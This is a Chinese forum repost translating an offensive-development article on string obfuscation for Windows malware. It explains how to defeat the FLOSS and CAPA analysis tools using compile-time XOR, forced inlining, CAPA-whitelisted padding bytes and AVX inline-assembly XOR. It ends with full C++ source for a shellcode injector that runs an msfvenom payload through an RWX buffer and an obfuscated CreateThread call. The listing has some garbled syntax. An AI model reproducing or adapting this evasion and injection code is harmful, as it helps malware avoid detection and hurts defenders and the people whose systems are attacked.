字符串高级混淆
本帖最后由 kitty 于 2023-12-5 18:37 编辑英文原文:https://steve-s.gitbook.io/0xtriboulet/just-malicious/advanced-string-obfuscation
第一部分:介绍
什么是字符串混淆?
字符串混淆是一种有意转换妥协、工件或功能的明文指示符,并将它们隐藏在某种类型的算术处理之后的过程。大多数恶意软件都采用某种字符串混淆方法,不同的字符串混淆方法混淆出来的字符串不一样,这通常与 WinAPI 函数调用的动态地址解析一起完成,以隐藏恶意软件的真实功能。反病毒软件 (AV)、端点检测和响应 (EDR) 以及分析工具采用不同的技术来克服混淆或至少规避它为攻击者带来的好处。其中更强大的技术是来自定制恶意软件分析工具 (如 Mandiant 的 FLOSS 和 CAPA) 的模拟分析,但基本字符串实用程序在手动分析中提供重要价值的情况并不少见。
我们如何实现字符串混淆
字符串混淆有多种方式,对具有攻击性的工具来说,最常见的是 XOR、RC4,或者如果你能够从系统中找到另外一些特征的值,则可能使用了某种哈希算法 (例如 dbj2),这些 OPSEC 技术已经使用了很长时间,因此 FLOSS 和 CAPA 等工具能够分析模拟恶意软件中的反混淆例程或检测混淆的存在也不足为奇了。在进攻性开发中,这两种结果都是不可取的,因此在本篇文章中,我们将讨论一些现代技术,可以使用这些技术来规避这些工具。
注意:如果你已经熟悉传统的字符串混淆技术及其原因,请跳至第三部分
第二部分:准备开干
未混淆操作
在我们深入研究混淆本身之前,让我们简单地看一下普通的注入程序,依次调用 VirtualAlloc -> RtlCopyMemory -> CreateThread,最终可触发 MSFVenom calc 有效载荷
如果我们看一下注入程序的 IAT,会发现程序导入的函数泄露了整个程序的功能
这个结果依赖编译器,因此你可能会发现可执行文件的 IAT 包含一些不同的内容,但这完全是正常的,对于简单的静态分析这些都是可见的。
此外,如果使用 strings 工具,同样会看到大量有关泄露注入程序功能的信息
如果没指定 -s 选项 (从可执行文件中删除符号名称),我们就会从源代码中泄露变量名称,甚至尝试执行的有效载荷。
显然,我们不想向防御者泄露太多信息,因此必须通过某种方法来提高注入程序的技术,最常见的方式是 WinAPI 指针。
WinAPI 指针
WinAPI 指针让我们定义一个 typedef,解析 WinAPI 函数的地址,然后在运行时调用该函数,在编译时调用函数,为了简洁可见,我们将仅在调用 CreateThread 时实现这种混淆,但所有 WinAPI 的实现模式都是相同的
然而,即使 CreateThread 已从 IAT 中删除,CreateThread 字符串对于查看字符串程序来说仍然可见
在这里,我们找到了字符串混淆的第一个用例
第三部分:深入研究
编译时欺骗
在真正经典的实现中,我们将使用构建器脚本或手动加密密钥字符串使得字符串程序看不到,在 C++ 中实现此功能,所以我们实际上可以利用常量表达式在编译时使用 XOR 密钥自动加密字符串
代码的第 7 到 9 行设置了一个编译时宏,该宏根据时间生成伪随机 1 字节 XOR 密钥
第 17 到 24 行将 lambda 函数设置为 C 宏,我们将使用它来对可执行文件中的关键字符串处理,以便在编译时在第 37 到 45 行调用混淆处理程序 constexpr。
最后,第 51 到 57 行是 deobfusion 函数,它将在运行时被调用,以在运行时将我们未被混淆的字符串返回到所需的函数。
要使用我们上面讨论的宏,可以用 STR() 包装任何有趣的字符串,应该看到它们从字符串转储中消失。但是让我们快速确保我们的实现是有效的。我实现了自己版本的 MemCopy,只是为了不受到 C 运行时库 (ucrt.dll) 的链接。
CreateThread 字符串文字确实存在于源代码中,但编译器使用我们在上面建立的宏来实现隐藏,正如我们所期望的那样。大多数混淆到此就结束,但我们才刚刚开始。然而,更高级的工具仍然可以找到 CreateThread 字符串。
FLOSS
在这篇文章的前面和我博客的其他地方提到过,FLOSS 有一个强大的字符串 deobfusion 模拟引擎,它模仿了 deobfusation 例程。在之前的文章中,我已经证明了使用两步反混淆方法将绕过 FLOSS 自动化反混淆过程的能力。然而,还有一些更有趣的方法可以绕过 FLOSS 的分析,我们将详细介绍这些绕过以及它们是如何工作的。
根据 FLOSS 文档,FLOSS 可以提取下面列举的字符串类型
前三个不需要太关心,第四个才是关注的重点,因为它包含一个关键词:function
如果你还记得的话,我们的实现基于 lamda 函数,该函数实际上由多个嵌套操作组成,让我们看看对我们提供给编译器的指令进行一些细微的更改会发生什么
当我们告诉编译器内联这些函数时,编译器不会将 RIP 移动到程序 .text 部分中的另一个区域的 call 指令,而是将函数放入调用函数内部,让我们看看反汇编程序中的样子
在左侧,我们可以看到在我们的注入程序的 mk2 中,入口函数 (_start) 实际上调用了一个函数,然后使用地址 140001356 处的异或操作码来执行异或解密,然而,在右侧,在 mk3 中,异或解密是与 _start() 函数本身内联发生的,因为我们将 always_inlined 属性应用于反混淆函数,如果在 mk3 版本的注入程序上运行 FLOSS,它无法解码我们的字符串
上述方法之所以有效,是因为我们攻击了 FLOSS 在确定何时应用其反混淆分析时所做的基本假设之一
CAPA
尽管 mk3 能够绕过 FLOSS 的检测,让我们看一下分析师可能用来了解注入程序如何工作的另一个工具
显然,能够检测我们正在使用的混淆类型并不像能够提取去混淆的字符串那么严重,但值得讨论一些克服这个问题的方法,CAPA 公开了它的签名信息,所以来看看 XOR 签名
阅读此条规则,它将在返回非零异或的紧密循环上进行匹配,然而,该规则还包括我们可以用来克服这种检测的白名单变量列表
上面可以看出在第 56 行,对 57 行的白名单应用了相对跳转,因此,确保这些字节包含在紧密循环中,并且不会影响 XOR 运算
上述两种方法围绕攻击这些特定工具的机制,接下来,让我们看一下使用现代 CPU 功能来克服 FLOSS 的方法
AVX
AVX 于 2011 年首次引入处理器,其预期用途是使用更大的寄存器和新指令来支持大量算术运算
由于这是使用非标准寄存器的较新处理器功能,因此有必要研究 FLOSS 是否可以处理模拟 AVX 操作,AVX 有几个不同的版本,但大多数现代处理器都支持 XMM 处理器以及我们打破 FLOSS 模拟所需的操作
上面的片段有详细的评论,但让我们简要讨论一下发生了什么,内联程序集片段正在接收一个指向目标的 UINT 指针,这一点很重要,因为在第 62 行使用 vmovd 指令将 xmm0 的输出获取到目标缓冲区。类似地,将源缓冲区强制转换为 UINT 指针,这样就可以将其传递到 xmm1 中,并且我们将像传递 r 操作数一样传递键,这样编译器就知道在与内联程序集片段交互之前将其放入通用寄存器中。
如果我们使用调试标志运行 FLOSS,实际上可以准确地看到它的不足之处。在查看下一页的调试输出时,有几件事变得显而易见。首先,我们的怀疑是正确的,FLOSS 无法模仿某些 AVX 功能。其次,这实际上似乎更多地与 FLOSS 所依赖的 python 库有关,而不是由于 FLOSS 本身。
在上面图中,可以看到 FLOSS 无法模拟从 xmm0 到 RCX 中存储的指针目标的 vmovd 指令,FLOSS 无法确定缓冲区中存储的值
CAPA 也受到类似的限制,无法将 AVX 操作码与前面讨论的 XOR 编码规则相匹配
第四部分:代码
exotic_xor_mk4.c
// x86_64-w64-mingw32-g++ exotic_xor_mk4.cpp -O0 -s -o exotic_xor_mk4.exe -masm=intel -nostdlib -lkernel32
// mk1,2, and 3 available on https://patreon.com/0xtriboulet
#include <stdio.h>
#include <windows.h>
#define KEY ((((__TIME__ - '0') * 1 + (__TIME__ - '0') * 10 \
+ (__TIME__ - '0') * 60 + (__TIME__ - '0') * 600 \
+ (__TIME__ - '0') * 3600 + (__TIME__ - '0') * 36000) & 0xFF))
//
/*
* This macro is a lambda function to pack all required steps into one single command
* when defining strings.
*/
#define STR(str) \
[]() -> char* __attribute__((always_inline)) { \
constexpr auto size = sizeof(str)/sizeof(str); \
obfuscator<size> obfuscated_str(str); \
static char original_string = {0}; \
obfuscated_str.deobfuscate((unsigned char *)original_string); \
return original_string; \
}()
// MemCopy prototype
VOID * MemCopy (VOID *dest, CONST VOID *src, SIZE_T len);
template <UINT N>
struct obfuscator {
/*
* m_data stores the obfuscated string.
*/
UCHAR m_data = {0};
/*
* Using constexpr ensures that the strings will be obfuscated in this
* constructor function at compile time.
*/
constexpr obfuscator(CONST CHAR* data) {
/*
* Implement encryption algorithm here.
* Here we have simple XOR algorithm.
*/
for (UINT i = 0; i < N; i++) {
m_data = data ^ KEY;
}
}
/*
* deobfuscate decrypts the strings. Implement decryption algorithm here.
* Here we have a simple XOR algorithm.
*/
VOID deobfuscate(UCHAR * des) CONST{
UINT i = 0;
do {
// des = m_data ^ KEY;
__asm__(
"vmovd xmm1, %;" // Move source to xmm1
"vmovd xmm2, %;" // Move key to xmm2
"vpxor xmm0, xmm1, xmm2;" // XOR xmm1 and xmm2, result in xmm0
"vmovd %, xmm0;" // Move result from xmm0 to destination
: "=m" (*(UINT*)&des) // Ensure correct size
: "m" (*(UINT*)&m_data), "r" (KEY) // Pass in source and KEY
: "xmm0", "xmm1", "xmm2" // Clobbered registers
);
i++;
} while (des);
}
};
typedef HANDLE (WINAPI * CreateThread_t)(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINElpStartAddress,
__drv_aliasesMem LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
// msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f rust
UCHAR ucPayload[] = {...snip...};
SIZE_T szPayload = sizeof(ucPayload);
INT __main(){
LPVOIDlpExecMem = NULL;
// allocate memory
lpExecMem = VirtualAlloc(NULL,szPayload,MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// copy memory
MemCopy(lpExecMem, ucPayload, szPayload);
// resolve CreateThread
CreateThread_t pCreateThread = (CreateThread_t) GetProcAddress(GetModuleHandle(STR("kernel32")),STR("CreateThread"));
// create thread
HANDLE hThread = NULL;
hThread = pCreateThread(NULL,0x0,(LPTHREAD_START_ROUTINE)lpExecMem, NULL, 0x0, NULL);
// wait
WaitForSingleObject(hThread, INFINITE);
return 0;
}
// Just to get rid of CRT
VOID * MemCopy (VOID *dest, CONST VOID *src, SIZE_T len){
UCHAR * d = (UCHAR *) dest;
CONST UCHAR* s = (UCHAR *) src;
while (len--){
*d++ = *s++;
}
return dest;
}
}
第五部分:结果
实现 AVX XOR 混淆使我们能够绕过 FLOSS 和 CAPA
第六部分:结论
在第三部分中,我们看到了规避措施对一些最强大的开源逆向工具的影响,在这些规避中,使用 AVX 内联汇编实现 XOR 解密被证明在规避 CAPA 和 FLOSS 方面是最稳健的,无需包含白名单字节、函数内联或两阶段反混淆,本文中实现并不是有效的,但它在实现字符串混淆方面仍然有效。
这篇文章所涵盖的限制不太可能是详尽无遗的,CAPA 和 FLOSS 使用的 vivisect 工具文档有限,但可能存在其他模拟限制,可以利用这些限制来实现类似或更好的混淆处理结果。
为了简单明了,这篇文章任意选择将重点放在混淆的 XOR 算法上。更复杂的算法可能会以不同的复杂度被混淆,超过本文中讨论的工具的检测阈值。然而,这篇文章是开发高级字符串混淆机制的一个很好的起点。
页:
[1]